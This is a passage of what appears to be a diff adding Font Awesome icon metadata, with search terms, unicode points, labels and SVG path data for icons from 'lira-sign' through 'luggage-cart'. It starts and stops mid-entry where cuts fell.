13.8-35.7-11.7-74.2-23.3-84.9-4.7-4.6-4.9-6.6-2.6-6.5 12.6 11.2 29.2 33.7 35.2 59 2.8 11.6 3.3 23.7.4 35.7 16.4 6.8 35.9 17.9 30.7 34.8-2.2-.1-3.2 0-4.2 0 3.2-10.1-3.9-17.6-22.8-26.1-19.6-8.6-36-8.6-38.3 12.5-12.1 4.2-18.3 14.7-21.4 27.3-2.8 11.2-3.6 24.7-4.4 39.9-.5 7.7-3.6 18-6.8 29-32.1 22.9-76.7 32.9-114.3 7.2zm257.4-11.5c-.9 16.8-41.2 19.9-63.2 46.5-13.2 15.7-29.4 24.4-43.6 25.5s-26.5-4.8-33.7-19.3c-4.7-11.1-2.4-23.1 1.1-36.3 3.7-14.2 9.2-28.8 9.9-40.6.8-15.2 1.7-28.5 4.2-38.7 2.6-10.3 6.6-17.2 13.7-21.1.3-.2.7-.3 1-.5.8 13.2 7.3 26.6 18.8 29.5 12.6 3.3 30.7-7.5 38.4-16.3 9-.3 15.7-.9 22.6 5.1 9.9 8.5 7.1 30.3 17.1 41.6 10.6 11.6 14 19.5 13.7 24.6zM173.3 148.7c2 1.9 4.7 4.5 8 7.1 6.6 5.2 15.8 10.6 27.3 10.6 11.6 0 22.5-5.9 31.8-10.8 4.9-2.6 10.9-7 14.8-10.4s5.9-6.3 3.1-6.6-2.6 2.6-6 5.1c-4.4 3.2-9.7 7.4-13.9 9.8-7.4 4.2-19.5 10.2-29.9 10.2s-18.7-4.8-24.9-9.7c-3.1-2.5-5.7-5-7.7-6.9-1.5-1.4-1.9-4.6-4.3-4.9-1.4-.1-1.8 3.7 1.7 6.5z" + } + }, + "free": [ + "brands" + ] + }, + "lira-sign": { + "changes": [ + "4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "money", + "try", + "turkish" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f195", + "label": "Turkish Lira Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635578, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 12h79.583c134.091 0 223.255-77.834 228.408-211.592.261-6.782-5.211-12.408-11.997-12.408z" + } + }, + "free": [ + "solid" + ] + }, + "list": { + "changes": [ + "1", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "completed", + "done", + "finished", + "ol", + "todo", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f03a", + "label": "List", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635579, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M80 368H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm0-320H16A16 16 0 0 0 0 64v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16V64a16 16 0 0 0-16-16zm0 160H16a16 16 0 0 0-16 16v64a16 16 0 0 0 16 16h64a16 16 0 0 0 16-16v-64a16 16 0 0 0-16-16zm416 176H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "list-alt": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "completed", + "done", + "finished", + "ol", + "todo", + "ul" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f022", + "label": "Alternate List", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635578, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 480H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h416c26.51 0 48 21.49 48 48v352c0 26.51-21.49 48-48 48zM128 120c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm0 96c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zm288-136v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12zm0 96v-32c0-6.627-5.373-12-12-12H204c-6.627 0-12 5.373-12 12v32c0 6.627 5.373 12 12 12h200c6.627 0 12-5.373 12-12z" + }, + "regular": { + "last_modified": 1628088634896, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "list-ol": { + "changes": [ + "2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "completed", + "done", + "finished", + "numbers", + "ol", + "todo", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0cb", + "label": "list-ol", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635579, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z" + } + }, + "free": [ + "solid" + ] + }, + "list-ul": { + "changes": [ + "2", + "5.0.0", + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "checklist", + "completed", + "done", + "finished", + "ol", + "todo", + "ul" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0ca", + "label": "list-ul", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635579, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M48 48a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm0 160a48 48 0 1 0 48 48 48 48 0 0 0-48-48zm448 16H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" + } + }, + "free": [ + "solid" + ] + }, + "location-arrow": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "compass", + "coordinate", + "direction", + "gps", + "map", + "navigation", + "place" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f124", + "label": "location-arrow", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635580, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M444.52 3.52L28.74 195.42c-47.97 22.39-31.98 92.75 19.19 92.75h175.91v175.91c0 51.17 70.36 67.17 92.75 19.19l191.9-415.78c15.99-38.39-25.59-79.97-63.97-63.97z" + } + }, + "free": [ + "solid" + ] + }, + "lock": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "lock", + "open", + "password", + "private", + "protect", + "security" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f023", + "label": "lock", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635582, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M400 224h-24v-72C376 68.2 307.8 0 224 0S72 68.2 72 152v72H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48zm-104 0H152v-72c0-39.7 32.3-72 72-72s72 32.3 72 72v72z" + } + }, + "free": [ + "solid" + ] + }, + "lock-open": { + "changes": [ + "3.1", + "5.0.0", + "5.0.1" + ], + "ligatures": [], + "search": { + "terms": [ + "admin", + "lock", + "open", + "password", + "private", + "protect", + "security" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f3c1", + "label": "Lock Open", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635581, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M423.5 0C339.5.3 272 69.5 272 153.5V224H48c-26.5 0-48 21.5-48 48v192c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V272c0-26.5-21.5-48-48-48h-48v-71.1c0-39.6 31.7-72.5 71.3-72.9 40-.4 72.7 32.1 72.7 72v80c0 13.3 10.7 24 24 24h32c13.3 0 24-10.7 24-24v-80C576 68 507.5-.3 423.5 0z" + } + }, + "free": [ + "solid" + ] + }, + "long-arrow-alt-down": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "download", + "long-arrow-down" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f309", + "label": "Alternate Long Arrow Down", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635582, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M168 345.941V44c0-6.627-5.373-12-12-12h-56c-6.627 0-12 5.373-12 12v301.941H41.941c-21.382 0-32.09 25.851-16.971 40.971l86.059 86.059c9.373 9.373 24.569 9.373 33.941 0l86.059-86.059c15.119-15.119 4.411-40.971-16.971-40.971H168z" + } + }, + "free": [ + "solid" + ] + }, + "long-arrow-alt-left": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "back", + "long-arrow-left", + "previous" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f30a", + "label": "Alternate Long Arrow Left", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635582, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M134.059 296H436c6.627 0 12-5.373 12-12v-56c0-6.627-5.373-12-12-12H134.059v-46.059c0-21.382-25.851-32.09-40.971-16.971L7.029 239.029c-9.373 9.373-9.373 24.569 0 33.941l86.059 86.059c15.119 15.119 40.971 4.411 40.971-16.971V296z" + } + }, + "free": [ + "solid" + ] + }, + "long-arrow-alt-right": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "forward", + "long-arrow-right", + "next" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f30b", + "label": "Alternate Long Arrow Right", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635582, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M313.941 216H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h301.941v46.059c0 21.382 25.851 32.09 40.971 16.971l86.059-86.059c9.373-9.373 9.373-24.569 0-33.941l-86.059-86.059c-15.119-15.119-40.971-4.411-40.971 16.971V216z" + } + }, + "free": [ + "solid" + ] + }, + "long-arrow-alt-up": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "long-arrow-up", + "upload" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f30c", + "label": "Alternate Long Arrow Up", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635582, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M88 166.059V468c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12V166.059h46.059c21.382 0 32.09-25.851 16.971-40.971l-86.059-86.059c-9.373-9.373-24.569-9.373-33.941 0l-86.059 86.059c-15.119 15.119-4.411 40.971 16.971 40.971H88z" + } + }, + "free": [ + "solid" + ] + }, + "low-vision": { + "changes": [ + "4.6", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "blind", + "eye", + "sight" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f2a8", + "label": "Low Vision", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635584, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M569.344 231.631C512.96 135.949 407.81 72 288 72c-28.468 0-56.102 3.619-82.451 10.409L152.778 10.24c-7.601-10.858-22.564-13.5-33.423-5.9l-13.114 9.178c-10.86 7.601-13.502 22.566-5.9 33.426l43.131 58.395C89.449 131.73 40.228 174.683 6.682 231.581c-.01.017-.023.033-.034.05-8.765 14.875-8.964 33.528 0 48.739 38.5 65.332 99.742 115.862 172.859 141.349L55.316 244.302A272.194 272.194 0 0 1 83.61 208.39l119.4 170.58h.01l40.63 58.04a330.055 330.055 0 0 0 78.94 1.17l-189.98-271.4a277.628 277.628 0 0 1 38.777-21.563l251.836 356.544c7.601 10.858 22.564 13.499 33.423 5.9l13.114-9.178c10.86-7.601 13.502-22.567 5.9-33.426l-43.12-58.377-.007-.009c57.161-27.978 104.835-72.04 136.81-126.301a47.938 47.938 0 0 0 .001-48.739zM390.026 345.94l-19.066-27.23c24.682-32.567 27.711-76.353 8.8-111.68v.03c0 23.65-19.17 42.82-42.82 42.82-23.828 0-42.82-19.349-42.82-42.82 0-23.65 19.17-42.82 42.82-42.82h.03c-24.75-13.249-53.522-15.643-79.51-7.68l-19.068-27.237C253.758 123.306 270.488 120 288 120c75.162 0 136 60.826 136 136 0 34.504-12.833 65.975-33.974 89.94z" + } + }, + "free": [ + "solid" + ] + }, + "luggage-cart": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bag", + "baggage", + "suitcase", + "travel" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f59d", + "label": "Luggage Cart", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635584, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 32zm352-32V128c0-17.67-14.33-32-32-32h-32v224h32c17.67 0 32-14.33 32-32zm48 96H128V16c0-8.84-7.16-16-16-16H16C7.16 0 0 7.16 0 16v32c0 8.84 7.16 16 16 16h48v368c0 8.84 7.16 16 16 16h82.94c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16h197.88c-1.79 5.03-2.94 10.36-2.94 16 0 26.51 21.49 48 48 48s48-21.49 48-48c0-5.64-1.15-10.97-2.94-16H624c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zM480 96V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v272h192V96zm-48 0h-96V48h96v48z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M224 320h32V96h-32c-17.67 0-32 14.33-32 32v160c0 17.67 14.33 32 32 